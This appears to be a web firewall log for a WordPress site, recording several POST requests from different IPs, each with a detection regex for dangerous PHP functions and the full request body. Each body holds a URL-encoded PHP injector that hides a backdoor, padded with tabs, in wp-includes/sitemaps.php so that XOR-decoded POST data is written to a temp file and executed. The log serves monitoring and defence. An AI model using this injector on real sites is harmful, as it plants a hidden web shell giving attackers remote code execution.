3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMUNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\ndp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:29","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ML:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nML=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:31","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> rn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpz4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nrn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:36:33","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ck:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B%2520%2524pgrp%2520%253D%2520%2522%2524value%2522%2520.%2520%2522\/.parameter_group%2522%253B%2520%2524file%2520%253D%2520fopen%2528%2524pgrp%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524pgrp%253B%2520%2540unlink%2528%2524pgrp%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4045\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD2fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nCk=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522d%255Cx65sc%255Cx72i%255Cx70tor%2522%255D%2529%253B%2520%2524property_set%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524property_set%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524e%255D%2529%2520%255E%252011%2529%253B%2524e%252B%252B%253B%257D%2520%2524element%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524key%2520%253D%253E%2520%2524value%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524value%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524value%2529%2529%2520%257B